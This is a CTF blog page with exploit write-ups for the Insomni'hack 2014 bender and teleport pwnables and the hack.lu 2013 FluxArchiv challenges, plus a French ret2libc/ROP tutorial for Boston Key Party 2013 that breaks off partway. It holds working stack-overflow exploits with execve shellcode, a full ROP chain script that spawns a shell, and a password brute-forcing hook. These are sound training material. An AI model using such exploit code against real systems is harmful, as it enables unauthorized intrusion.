To search


w3pwnz, therefore we are

Tag - writeup

Entries feed Comments feed

Monday, March 24 2014 13:53

Insomni'hack 2014 - bender & teleport writeups

In this post I'll describe my solutions to the bender (pwn400) & teleport (pwn600) challenges, which were the only two pwnables we had unlocked :/ (we were only two players)
It seems pwnables were overrated, so I'd say those were more like pwn200 and pwn400.


Good news everyone, to help out with the pollution of space, bender has a new waste disposal!
In a totally unrelated news, Dr Zoidberg disappeared... Here's the disposal anyway:

Download the binary (ELF x86) here.

The binary reads user input byte by byte in a buffer of 128 bytes with buf[counter++].
The stack layout is [ buffer ][ counter ][ s-ebp ][ s-eip ].
So when you write more than 128 bytes you overflow into the counter. We just need to overwrite the last byte of the counter so that it will write directly on the saved eip.

NX is disabled so we can put our shellcode right after the saved EIP on the stack and use a "jmp *esp" like gadget:

0x08048521: push esp :: ret

Final exploit:

(python2 -c 'import struct; print "A"*128+"\x8F"+struct.pack("<I", 0x08048521)+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x00"'; cat -)|nc 4003


We heard there's a teleporter out there which allows you to get closer to the center of the galaxy!
It seems totally broken tho, but I'm sure you can "fix" it! (bonus flag inside)

Download the binary (ELF x86) here.

This is a very small static binary written in assembly. The vulnerability is obvious: the program reads 0x28 bytes in a 0x14 buffer located on the stack. The difficulty (and fun) comes from the lack of good gadgets. We indeed have very nice gadgets like "int 0x80 ; ret", but we need to pass parameters in registers, and the usual gadgets like pop eax are not present. The read wrapper is:


This is nice as it allows us to setup registers ebx, ecx and edx. The only register modified by the syscall is eax, which is the return value. The problem is there isn't any gadget to setup eax, which is very important as it holds the syscall number... However, we can use the return value of a call to read() to set it.

But that means we also need to give valid parameters to read(), and that's a problem because what we want to do is execve(), which uses different parameters. Also we can't use any gadgets that contain int 0x80 because that would overwrite our eax value. A good solution is to use the gadget twice: the first time we use the following gadget to setup eax:

0x08048109: mov eax, 0x00000003 :: mov ebx, dword [esp+0x04] :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

Then we use the same gadget just skipping the mov eax, 3, but using different values to fill ebx, ecx and edx.
But that would require us to overwrite more data on the stack and we are quite limited (20 bytes).

We have two solutions:

  1. Hardcode a stack address (remember that ASLR is off...).
  2. Find a gadget to pivot to a crafted stack at a known address

We can leak the stack using the write wrapper at 0x080480F5, which allows to retrieve the exact location of our buffer on the remote system, by leaking 0x2000 bytes before 0xbfffffff, then we ROP to read() at this location + xx bytes to write our stage 2 ropchain, and use the gadget at 0x08048109 to perform execve().
However there is a much cleaner alternative that also works when ASLR is enabled...

It may be surprising, but there is a nice gadget available to pivot if you increase the ROP depth a bit more:

0x080480fb: pop esp :: and al, 0x04 :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

We want to perform a execve("/bin/sh", {"/bin/sh", NULL}, NULL), proceeding like this:

  1. Store the execve parameters in a fixed location: .data is rw and static, we can simply use the read wrapper gadget to write our parameters there. We can kill two birds with one stone and also store our stage2 ropchain there ;
  2. Set eax to 0x0B (SYS_execve) using the read wrapper gadget once more ;
  3. Pivot our stack to .data using the gadget at 0x080480fb ;
  4. Set the remaining registers (ebx, ecx, edx) to execve parameters, and execute the syscall, using one last time the read wrapper gadget (skipping the mov eax, 3).
  5. Enjoy our shell.

Here is my exploit:

#!/usr/bin/env python2
import sys
import struct
DATA_BASE = 0x08049130
# Step 1: Setup .data with our execve parameters
# 1.1: Recv to .data
payload  = "A" * 0x14
payload += struct.pack("<I", 0x08048109)            # Wrapper to read(fd, addr, len)
payload += struct.pack("<I", 0x0804811D)            # Replay vuln
payload += struct.pack("<I", 0x0)                          # fd = STDIN_FILENO
payload += struct.pack("<I", DATA_BASE)              # addr = .data
payload += struct.pack("<I", 0x100)                      # len = large enough
payload  = payload.ljust(0x28, "\x00")                    # Padding (useless here)
# 1.2: Send execve parameters & stage2 ropchain
args_execve  = struct.pack("<I", DATA_BASE + 8)  # argv[0] -> "/bin/sh"
args_execve += struct.pack("<I", 0x0)                   # argv[1] -> NULL
args_execve += "/bin/sh\x00"                                 # "/bin/sh"
args_execve  = args_execve.ljust(0x80, "\x00")      # Padding
stage2  = struct.pack("<I", 0x08048109)              # Wrapper to read(fd, addr, len)
stage2 += struct.pack("<I", 0x0804812c)             # add esp, 0x20 ; ret
stage2 += struct.pack("<I", 0x0)                           # ebx : fd = STDIN_FILENO
stage2 += struct.pack("<I", DATA_BASE + 0x100) # ecx : addr
stage2 += struct.pack("<I", 0xB)                           # edx : len
stage2 += "JUNK" * 5
stage2 += struct.pack("<I", 0x0804810E)             # mov ebx, dword [esp+0x04] ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret 
stage2 += struct.pack("<I", 0x080480E9)             # exit(0)
stage2 += struct.pack("<I", DATA_BASE + 8)        # ebx : "/bin/sh"
stage2 += struct.pack("<I", DATA_BASE)               # ecx : **argv
stage2 += struct.pack("<I", 0x0)                           # edx : **env = NULL
stage2  = stage2.ljust(0x80, "\x00")                      # Padding
sys.stdout.write(args_execve + stage2)
# Step 2: Pivot to .data
# 2.1: Pivot to .data
payload  = "B" * 0x14
payload += struct.pack("<I", 0x080480fb)            # pop esp ; and al, 0x04 ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret
payload += struct.pack("<I", DATA_BASE + 0x80) # pivot esp
payload = payload.ljust(0x28, "\x00")                    # Padding
# 2.2: Send 0xB bullshit chars to set eax to 0xB after recv
sys.stdout.write("X" * 0xB)

We launch the exploit like this:

(./; cat -)|nc 4000

Once we had our shell, the flag was in flag.txt. There was also a bonus flag if your exploit got you a shell and not only a file read. The bonus flag was in a file that couldn't be read by the current user, but a setuid binary allowed us to get the bonus flag by simply executing it. +200 points for free ;)

Saturday, October 26 2013 03:30 CTF 2013 - FluxArchive Part 1 & 2

You can download this challenge here.

Our target is a x64 ELF binary that archives files somehow, with some kind of encryption. Here is our target's usage:

Usage: ./archiv <command> <archiv> <password> <file>
-l <archiv> <password> - lists all files in the archiv.
-a <archiv> <password> <file> - adds a file to the archiv (when archiv does not exist create a new archiv).
-x <archiv> <password> <filename> - extracts the given filename from the archiv.
-d <archiv> <password> <filename> - delete the given filename from the archiv.

We don't know how files are encrypted and what is the password for the provided archive. In the first part we will only find what the password is, then we will go deeper into what this binary does in part 2.

Part1 - RE400: Bruteforce with LD_PRELOAD

These funny humans try to exclude us from the delicious beer of the Oktoberfest! They made up a passcode for everyone who wants to enter the Festzelt. Sadly, our human informant friend could not learn the passcode for us. But he heard a conversation between two drunken humans, that they were using the same passcode for this intercepted archive file. They claimed that the format is is absolutely secure and solves any kind of security issue. It's written by this funny hacker group named FluxFingers. Real jerks if you ask me. Anyway, it seems that the capability of drunken humans to remember things is limited. So they just used a 6 character passcode with only numbers and upper-case letters. So crack this passcode and get our ticket to their delicious german beer!

Here is the challenge:

Let's see what's going on with IDA, we quickly see this code:


The checkHashOfPassword function is only storing the SHA-1 in the static variable hash_of_password, and we can see from the code above that encryptDecryptData and verifyArchiv both only have one argument: the archive FILE pointer.

Ok, that's enough for me. I get lazy (more than usual :o), and decide to bruteforce from within the archiv process itself. That way we don't have to reverse the remaining functions (though, that was not complicated...), and the bruteforce will be efficient enough! To do that, I only load a shared library with LD_PRELOAD, "hook" the strcmp function and launch my bruteforce there.

#include <stdio.h>
int strcmp(const char *s1, const char *s2)
	const char *charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	char password[7] = {0};
	size_t i0, i1, i2, i3, i4, i5 = 0;
	void (*checkHashOfPassword)(char *) = (void*) 0x0000000000402A01;
	int (*encryptDecryptData)(FILE *) = (void*) 0x0000000000401B9A;
	int (*verifyArchiv)(FILE *) = (void*) 0x0000000000402A4E;
	FILE *f =  fopen("FluxArchiv.arc", "r");
	for (i0 = 0, password[0] = charset[i0]; password[0]; password[0] = charset[++i0]) {
		printf("passwd[0] = %c\n", password[0]);
		for (i1 = 0, password[1] = charset[0]; password[1]; password[1] = charset[++i1]) {
			printf("  passwd[1] = %c\n", password[1]);
			for (i2 = 0, password[2] = charset[0]; password[2]; password[2] = charset[++i2])
				for (i3 = 0, password[3] = charset[0]; password[3]; password[3] = charset[++i3])
					for (i4 = 0, password[4] = charset[0]; password[4]; password[4] = charset[++i4])
						for (i5 = 0, password[5] = charset[0]; password[5]; password[5] = charset[++i5]) {
							//encryptDecryptData(f); // Useless actually, only used to check the MAGIC_VALUE
							if (verifyArchiv(f)) {
								printf("Password found: %s\n", password);
								return 0;
	return 0;

Now let's compile, execute and wait for the password. It takes less than 10 minutes.

awe@awe-laptop ~/hacklu/reverse/FluxArchiv1 % gcc -O3 -shared -fPIC -o hooker.c -ldl
awe@awe-laptop ~/hacklu/reverse/FluxArchiv1 % time LD_PRELOAD=./ ./archiv -l FluxArchiv.arc BADGER
FluxArchiv - solved security since 2007!
Written by sqall - leading expert in social-kernel-web-reverse-engineering.
passwd[0] = A
  passwd[1] = A
  passwd[1] = B
  passwd[1] = C
* snip *
  passwd[1] = U
  passwd[1] = V
  passwd[1] = W
Password found: PWF41L
Given password is not correct.
zsh: exit 1     LD_PRELOAD=./ ./archiv -l FluxArchiv.arc BADGER
LD_PRELOAD=./ ./archiv -l FluxArchiv.arc BADGER  537.34s user 49.71s system 99% cpu 9:47.70 total

So now we can extract the archive files, etc. However, PWF41L was actually the flag.

Part2 - RE500: Extraction of deleted entries

These sneaky humans! They do not just use one passcode, but two to enter the Festzelt. We heard that the passcode is hidden inside the archive file. It seems that the FluxFingers overrated their programming skill and had a major logical flaw in the archive file structure. Some of the drunken Oktoberfest humans found it and abused this flaw in order to transfer hidden messages. Find this passcode so we can finally drink their beer!

(only solvable when FluxArchiv (Part 1) was solved)

Here is the challenge:

From the description, we quickly guess that there are issues with the archive deletion mechanism. First let's analyse the deleteArchive function. And well hmm, it doesn't behave like intended. That's because the author messed up the functions name. That can be quickly fixed by following the CFG backwards from the printed messages. We then have these functions / addresses:

Function name Segment Start
doRC4 .text 0000000000400E0C
createHashOfPassword .text 0000000000400E96
createFileEntry .text 0000000000400F05
real_addArchive .text 0000000000401043
findNextFreeChunk .text 0000000000401406
encryptDecryptData .text 0000000000401B9A
writeFileToArchiv .text 0000000000401CA7
real_searchArchive .text 0000000000401FED
real_deleteArchive .text 000000000040227D
real_extractArchive .text 00000000004025C8
checkHashOfPassword .text 0000000000402A01
verifyArchiv .text 0000000000402A4E
main .text 0000000000402B65

Let's analyse the real_deleteArchive function. It takes 2 parameters: the archive stream pointer and the offset for the entry we want to delete (which is returned from a previous call to real_searchArchive). Here is what the function does, from its CFG:


# PURPLE: go to the initial offset, read next_chunk (which will be used to calculate the offset for the next chunk)
next_chunk = unpack("<Q", doRC4(
# YELLOW: read max_chunks (total number of chunks)
max_chunks = unpack("<Q", doRC4(
# DARK GREEN: overwrite next_chunk in the file with junk
next_offset = next_chunk << 4
next_offset = next_offset + (next_offset << 6) + 0x20
f.write(doRC4("\x00" * 8))
f.write(doRC4("\x00" * 8))
# RED: overwrite the MD5sum with junk
f.write(doRC4("\x00" * 16))
# BLUE: overwrite the file name with junk
f.write(doRC4("\x00" * 0x60))
for chunk_index in range(max_chunks):
    # GREY: go to the next chunk offset, read next_chunk
    next_chunk = unpack("<Q", doRC4(
    # ORANGE: overwrite the next_chunk in the file with junk ; f.write(doRC4("\x00" * 8))

So, they delete all metadatas associated to the file, but not the file content itself. We should be able to recover a file then! We miss some informations though:

  1. What is the size of each chunk?
  2. How many chunks do we have to read? That's overwritten, so we don't know.
  3. How are the next_chunk allocated? Is that sequential, random, ...? That's overwritten too.

We can't know the file name and we won't be able to verify the MD5 sum, but we don't care of these details. From the real_addArchive function we can get all we needed to know. It does the opposite, and shows us that for each chunk of the original file, 0x408 bytes are written, then the next_chunk value is simply incremented.

We can't know what the size of the file is, so we will assume max_chunks = 0xFF. Because can't know the initial value of next_chunk either, we will have to bruteforce, from 0 to 0xFF. We will create one file per initial next_chunk value. Because we choose a max_chunks which is overlong, we will have some garbage at the end of each file, but most file formats don't really care about that anyway.

#!/usr/bin/env python2
import Crypto.Cipher.ARC4 as RC4
import hashlib
def decryptRC4(s):
    return RC4.ARC4Cipher(hashlib.sha1("PWF41L").digest()).decrypt(s)
f = open("FluxArchiv2.arc", "rb")
for bf in xrange(0xFF):
    print '[*] Trying with offset %02x' % bf
    o = open("output/out_%02x" % bf, "w+")
        next_chunk = bf
        max_chunks = 0xFF
        for chunk_index in xrange(max_chunks):
            next_offset = next_chunk << 4
            next_offset = next_offset + (next_offset << 6) + 0x20
   # Skip overwritten next_chunk
            content = decryptRC4(
            next_chunk += 1

Now we go to output/, do a file *, find the documents we extracted previously from the part 1, but no new image file with the flag as I expected :( So, it is probably simply a text file...

head -n1 *|less
# Output: *snip*
# ==> out_9d <==
# <B7>9<AF>       <B0><FB><91>0<D8>fB^Sȑ
# ==> out_9e <==
# Another one got caught today, it's all over the papers.  "Teenager
# ==> out_9f <==
# els threatened by me...
# ==> out_a0 <==
# e electron and the switch, the
# *snip*
less out_9e
# Output:
# Another one got caught today, it's all over the papers.  "Teenager
# Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
# Damn kids.  They're all alike.
# *snip*
# +++The Mentor+++
# Flag: D3letinG-1nd3x_F4iL
# * snip*

The flag is D3letinG-1nd3x_F4iL.

Tuesday, June 18 2013 21:14

Boston Key Party CTF 2013 - fss gainville - ROP pour les nuls

Je voulais faire un writeup sur le challenge fss gainville du CTF Boston Key Party 2013. Le but de ce billet n'est pas simplement de vous montrer comment j'ai résolu le challenge mais surtout de détailler au maximum les actions effectuées.

Je trouve régulièrement que les writeup sont peu détaillés et les noobs comme moi s'y perdent facilement, je vais donc essayer de détailler au maximum mes actions.

Nous avons à notre disposition le binaire ainsi que ce même binaire en écoute sur un port.

On se connecte sur le port pour voir comment réagit le programme, nous avons à faire à un choix multiple :

Welcome to Florida Gainesville Radio Flight Service Station

Would you like to:
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit

On va donc commencer par étudier le programme, la première étape est de voir à quel type de programme nous avons affaire :

root@kali:~/Challenges/BKP2013# file fss
fss: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xa3aba905ed1fdb52e05401dcef8c5fff670223a6, not stripped

Il s'agit donc d'un binaire linux 64 bits.

Le premier réflexe est de l'ouvrir dans IDA pour une analyse statique. On retrouve rapidement la fonction main où on voit l'appel d'une fonction spécifique pour chaque choix du programme :


Il faut maintenant trouver la faille, deux possibilités : soit faire du fuzzing, l'idée est d'injecter des données aléatoires dans les entrées du programme, soit analyser de manière pragmatique le programme pour trouver la faille. Le code du programme étant assez court, j'ai parcouru l'ensemble des appels de fonctions jusqu'à trouver la faille.

On peux voir un débordement de tampon (buffer overflow) dans la fonction pirep via le read.

Maintenant que nous avons la faille, il ne reste plus qu'à exploiter. On passe l'outil (Téléchargeable ici) qui nous permet de voir les protections appliquées au binaire :

root@kali:~/Challenges/_Outils# ./ --file /root/Challenges/BKP2013/fss
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   /root/Challenges/BKP2013/fss

Nous avons donc juste le NX enabled, c'est à dire que la stack n'est pas exécutable, il n'est donc pas question de mettre son shellcode dans notre buffer et de faire pointer EIP dessus.

La stratégie ici est justement de faire du ROP (Returned Oriented Programming) c'est à dire se servir du code du programme pour obtenir un shell (ou ce que l'on souhaite). On va utiliser une technique nommée Ret2libc, il s'agit de renvoyer notre programme vers une fonction de la libc telle que system ou execve pour lancer le programme de son choix. Pour cela il faudra simplement définir les bonnes valeurs dans les registres.

Notre stratégie :

  • récupérer l'adresse de la libc correspondant à la fonction execve
  • définir les registres pour l'appel à la fonction execve
  • faire appel à la fonction execve

1ere étape - Environnement de debug

La première chose à faire est de mettre en place un environnement de debug similaire à ce que l'on va trouver pour le challenge. Il nous faut donc mettre en écoute le programme sur un port et voir comment on peux faire pour y attacher gdb. Il existe sûrement plusieurs solutions pour effectuer cela, personnellement je passe par xinetd.

Pour cela ajouter un fichier de conf de ce type dans /etc/xinetd.d/

Service fss
        socket_type     = stream
        protocol        = tcp
        wait            = no
        user            = root
        server          = /root/Challenges/BKP2013/fss

Et ajouter le port qui va être en écoute pour ce service dans /etc/services

fss             5555/tcp

Pour debug le tout dans GDB, il suffira de s'attacher au processus.

Exemple d'un programme en python permettant de se connecter sur le port et en parallèle de debug :

import sys
import socket
fs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fs.connect(("",5555 ))
raw_input("Si besoin de debug...")

Le raw_input nous permet de stopper le programme le temps d'aller chercher le pid du processus correspondant à notre connexion et de s'y attacher dans gdb.

root@kali:~/Challenges/_Outils# ps aux | grep fss
root     29649  0.0  0.0   3944   316 ?        Ss   22:55   0:00 fss
root     29655  0.0  0.0   7780   864 pts/6    S+   22:55   0:00 grep fss
root@kali:~/Challenges/_Outils# gdb
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
64-bit mode is default. Use the 32bits command if your target is 32 bits.
Edit the $64BITS variable in your .gdbinit file to switch to default 32-bit mode.
gdb$ attach 29649

Nous n'avons plus qu'à poser les breakpoints nécessaires et faire continuer dans gdb pour poursuivre notre programme. Vous remarquerez sur les prochains screenshots gdb que l'interface est un peu plus sexy que ce que vous pouvez peut-être connaitre. Pour que votre gdb ressemble également à cela, allez faire un tour ici et

2ème étape - La faille - Buffer Overflow

La faille ici est de type buffer overflow, c'est à dire que l'emplacement prévu pour notre buffer en mémoire est plus petit que ce qui nous est permis d'écrire. Ce qui nous permet d'aller écrire à des emplacements mémoire tels que l'adresse de retour de notre fonction appelée. Je ne vais pas détailler plus, il existe de nombreuses ressources sur le net à ce sujet (ici ou ici, par la même occasion vous pouvez parcourir l'ensemble de ces deux blogs, ça en vaut vraiment la peine).

La faille dans la fonction pirep : fonction_pirep

Et la démonstration dans gdb :

gdb$ r
        Welcome to Florida Gainesville Radio Flight Service Station
Would you like to:
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit
> 5
Report Type: Upper-AirLocation: A
Time: A
Flight Level: B
PIREP is now on file
Program received signal SIGSEGV, Segmentation fault.
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RBP: 0x4141414141414141  RSP: 0x00007FFFFFFFE5E8  o d I t s Z a P c
  RDI: 0x00007FFFF7DD77A0  RSI: 0x0000000000000000  RDX: 0x0000000000000000  RCX: 0x00007FFFF7B21AF0  RIP: 0x000000000040171C
  R8 : 0x00007FFFF7FD9700  R9 : 0x00007FFFF7FD9700  R10: 0x4141414141414141  R11: 0x0000000000000246  R12: 0x0000000000400820
  R13: 0x00007FFFFFFFE6F0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
=> 0x40171c <pirep+487>:        ret
   0x40171d <main>:     push   rbp
   0x40171e <main+1>:   mov    rbp,rsp
   0x401721 <main+4>:   sub    rsp,0x20
   0x401725 <main+8>:   mov    DWORD PTR [rbp-0x14],edi
   0x401728 <main+11>:  mov    QWORD PTR [rbp-0x20],rsi
   0x40172c <main+15>:  mov    edx,0x401c15
   0x401731 <main+20>:  mov    esi,0x401c2c
0x000000000040171c in pirep ()
gdb$ x/gx $rsp
0x7fffffffe358:	0x4141414141414141

Nous pouvons donc spécifier l'adresse que l'on souhaite en adresse de retour de la fonction pirep.

3ème étape - Récupérer l'adresse de la fonction de notre libc

Comme je l'expliquais précédemment, le but va être d'appeler une fonction de la libc, pour cela il va falloir récupérer son adresse. Le programme étant soumis à l'ASLR (Address space layout randomization), la fonction ne sera jamais située au même endroit. Nous allons donc la récupérer dans la GOT (Global Offset Table), il s'agit d'une table qui lors du lancement du programme est remplie de manière dynamique avec les adresses des fonctions utilisées dans le programme (si vous souhaitez en savoir plus je vous renvoi vers cet excellent billet). Nous avons de la chance la GOT n'est pas soumies à l'ASLR, ces adresses ne changeront donc pas.

Nous pouvons retrouver les adresses de la GOT avec objdump :

root@kali:~/Challenges/BKP2013# objdump -R fss
fss:     file format elf64-x86-64
OFFSET           TYPE              VALUE
00000000006021e8 R_X86_64_GLOB_DAT  __gmon_start__
00000000006022a0 R_X86_64_COPY     stdout
00000000006022a8 R_X86_64_COPY     stdin
0000000000602208 R_X86_64_JUMP_SLOT  strncmp
0000000000602210 R_X86_64_JUMP_SLOT  puts
0000000000602218 R_X86_64_JUMP_SLOT  write
0000000000602220 R_X86_64_JUMP_SLOT  strlen
0000000000602228 R_X86_64_JUMP_SLOT  printf
0000000000602230 R_X86_64_JUMP_SLOT  memset
0000000000602238 R_X86_64_JUMP_SLOT  read
0000000000602240 R_X86_64_JUMP_SLOT  __libc_start_main
0000000000602248 R_X86_64_JUMP_SLOT  fgets
0000000000602250 R_X86_64_JUMP_SLOT  strcmp
0000000000602258 R_X86_64_JUMP_SLOT  random
0000000000602260 R_X86_64_JUMP_SLOT  fflush
0000000000602268 R_X86_64_JUMP_SLOT  __isoc99_sscanf
0000000000602270 R_X86_64_JUMP_SLOT  atoi
0000000000602278 R_X86_64_JUMP_SLOT  exit

Et vérifier tout cela dans gdb :

gdb$ x/g 0x602210
0x602210 <puts@got.plt>:        0x00007ffff7abd060
gdb$ x/i puts
0x7ffff7abd060 <puts>:       mov    QWORD PTR [rsp-0x18],rbx

On voit donc qu' à l'adresse 0x602210 (notre GOT) nous avons un pointeur vers la fonction puts vers l'adresse 0x00007ffff7abd060. On peux le vérifier simplement en affichant la 1er ligne de commande de puts où nous retrouvons bien l'adresse vers laquelle la GOT pointe.

Par contre comme vous pouvez le voir, les autres fonctions de la libc, tel qu'execve dont nous avons besoin, n'apparaissent pas dans la GOT car elles ne sont pas utilisées par notre programme tout simplement. Pour retrouver l'adresse de la fonction qui nous intéresse nous allons donc devoir ruser. J'ai dis tout à l'heure qu'avec l'ASLR les adresses des fonctions étaient aléatoire mais par contre le décalage entre deux fonctions ne le sera pas. C'est à dire que nous pouvons calculer le décallage entre une fonction connue et la fonction choisie sur notre environnement de debug et appliquer ce décalage pour trouver l'adresse d'execve dans l'environnement du challenge du CTF.

gdb$ x/i puts
   0x7ffff7abd060 <puts>:       mov    QWORD PTR [rsp-0x18],rbx
gdb$ x/i execve
   0x7ffff7afef80 <execve>:     mov    eax,0x3b

Ci dessous, nous voyons que la fonction puts se situe dans notre contexte à l'adresse 0x7ffff7abd060 et notre fonction execve à l'adresse 0x7ffff7afef80. Nous avons donc un offset de 0x41f20 entre ces deux adresses. Si nous arrivons donc à récupérer l'adresse de puts nous pourrons alors connaitre l'adresse d'execve.

4ème étape - Le ROP

Comme je l'expliquais précédemment, ne pouvant pas exécuter notre shellcode à cause du NX, nous allons donc réutiliser des morceaux de code déjà présent dans le programme, chainés de manière spécifique pour exécuter des actions de notre choix. On appelle cela des gadgets, il existe plusieurs outils sur le net pour chercher ces gadgets. Vous en trouverez un très bien ici qui gère autant le x64 que des programmes x32 et pour vos programmes exclusivement x32 vous avez également celui ci.

Notre but va donc être, comme nous l'avons vu précédemment, de récupérer une adresse de la libc pour connaitre celle d'execve. Pour récupérer une adresse de la libc nous allons utiliser la fonction puts qui va écrire sur stdout la valeur pointée par l'adresse passée en argument de la fonction (man du puts).

A savoir : Sur une architecture x64 les arguments d'une fonction ne sont plus passés au travers de la stack mais au travers des registres. Dans l'ordre : RDI, RSI, RDX, RCX, R8, R9 puis ensuite sur la stack.

Notre but va donc être de passer l'adresse de la GOT d'une fonction de la libc dans RDI et d'executer la fonction puts.

Pour cela on va parcourir les gadgets à notre disposition au travers de l'outil rp++ et chercher ce qui pourrait nous intéresser. Le but étant de trouver un gadget nous permettant d'aller définir une valeur dans le registre RDI en sachant que nous contrôlons notre stack donc le registre RSP.

root@kali:~/Challenges/_Outils# ./rp-lin-x86 -f /root/Challenges/BKP2013/fss -r 3
Trying to open '/root/Challenges/BKP2013/fss'..
Loading ELF information..
FileFormat: Elf, Arch: Ia64
Using the Nasm syntax..
Wait a few seconds, rp++ is looking for gadgets..
0 found.
163 found.
A total of 163 gadgets found.
0x004018bf: add bl, dh ; ret  ;  (1 found)
0x0040143b: add byte [rax+0x29], cl ; retn 0x8948 ;  (1 found)
0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)

Dans l'ensemble des gagdets trouvé j'en repère un qui me parait intéressant :

0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)

Nous utilisons ici un gadget qui va manipuler le registre edi qui est la partie 32 bits du registre rdi, dans notre cas cela suffit car les adresses que l'on souhaite tiennent sur 32 bits (ex : 0x602210) mais si nous avions des adresses en 64 bits il faudrait trouver un gadget avec le registre rdi.

A savoir : Avec rp++ vous pouvez jouer sur la valeur de r pour avoir des gadgets avec plus ou moins d'instructions. Mais attention plus vous aurez d'instruction plus l'utilisation du gadget pourra devenir complexe.

Notre stack devra donc ressembler à cela : [addr_writable_srbp][gagdet][ JUNK][addr_base_got_libc][addr_call_puts]

Ce que j'appelle JUNK ici peut être n'importe quelle donnée, cela permet de combler l'instruction add rsp, 0x38 de notre gadget.

Pour vérifier tout cela, on va suivre le programme dans gdb. Pour cela on lance le programme qui va s’arrêter après la connexion au socket via le raw_input, ce qui va nous permettre de récuperer l'id du processus et de s'y attacher. On va placer un breakpoint en 0x40171c qui est l'adresse de l'instruction ret de pirep et vérifier ce que nous avons sur notre stack.

root@kali:~# ps aux | grep fss
root      4461  0.0  0.0   3944   312 ?        Ss   22:01   0:00 fss
root      4463  0.0  0.0   7780   860 pts/1    S+   22:01   0:00 grep fss
root@kali:~# exit
gdb$ attach 4461
  RAX: 0xFFFFFFFFFFFFFE00  RBX: 0x00007FAD4B2AC6C0  RBP: 0x0000000000000002  RSP: 0x00007FFF62DC42C8  o d I t s Z a P c
  RDI: 0x0000000000000000  RSI: 0x00007FAD4B4CD000  RDX: 0x0000000000001000  RCX: 0xFFFFFFFFFFFFFFFF  RIP: 0x00007FAD4AFF6A90
  R8 : 0x00000000FFFFFFFF  R9 : 0x0000000000000000  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x000000000000000A
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x00007FFF62DC4390
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
=> 0x7fad4aff6a90 <read+16>:    cmp    rax,0xfffffffffffff001
   0x7fad4aff6a96 <read+22>:    jae    0x7fad4aff6ac9 <read+73>
   0x7fad4aff6a98 <read+24>:    ret
   0x7fad4aff6a99 <read+25>:    sub    rsp,0x8
   0x7fad4aff6a9d <read+29>:    call   0x7fad4b00f500
   0x7fad4aff6aa2 <read+34>:    mov    QWORD PTR [rsp],rax
   0x7fad4aff6aa6 <read+38>:    mov    eax,0x0
   0x7fad4aff6aab <read+43>:    syscall
0x00007fad4aff6a90 in read () from /lib/x86_64-linux-gnu/
gdb$ b * 0x40171c
Breakpoint 1 at 0x40171c
gdb$ c
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RBP: 0x00000000006022C4  RSP: 0x00007FFF62DC4378  o d I t s Z a P c
  RDI: 0x00000000FFFFFFFF  RSI: 0x0000000000000000  RDX: 0x0000000000000000  RCX: 0x00007FAD4AFF6AF0  RIP: 0x000000000040171C
  R8 : 0x00007FAD4B4AF700  R9 : 0x00000000FFFFFFFF  R10: 0x0000000000000000  R11: 0x0000000000000246  R12: 0x0000000000400820
  R13: 0x00007FFF62DC4480  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
=> 0x40171c <pirep+487>:        ret
   0x40171d <main>:     push   rbp
   0x40171e <main+1>:   mov    rbp,rsp
   0x401721 <main+4>:   sub    rsp,0x20
   0x401725 <main+8>:   mov    DWORD PTR [rbp-0x14],edi
   0x401728 <main+11>:  mov    QWORD PTR [rbp-0x20],rsi
   0x40172c <main+15>:  mov    edx,0x401c15
   0x401731 <main+20>:  mov    esi,0x401c2c
Breakpoint 1, 0x000000000040171c in pirep ()
gdb$ x/50g $rsp
0x7fff62dc4378: 0x00000000004018b0      0x4242424242424242
0x7fff62dc4388: 0x4242424242424242      0x4242424242424242
0x7fff62dc4398: 0x4242424242424242      0x4242424242424242
0x7fff62dc43a8: 0x4242424242424242      0x0000000000602240
0x7fff62dc43b8: 0x000000000040174a      0x0000000049494949

on retrouve donc sur notre stack :

  • 0x4018b0 adresse de notre gadget
  • 0x424242.....424242 junk
  • 0x602240 adresse de la GOT dont on souhaite récupérer la valeur
  • 0x40174a <main+45>: call 0x400740 <puts@plt>

Voici donc le déroulement de notre programme après le ret :

0x4018b0 <__libc_csu_init+128>:      mov    edi,DWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>:      add    rsp,0x38
0x4018b8 <__libc_csu_init+136>:      ret
0x40174a <main+45>:  call   0x400740 <puts@plt>  avec RDI = 0x602240

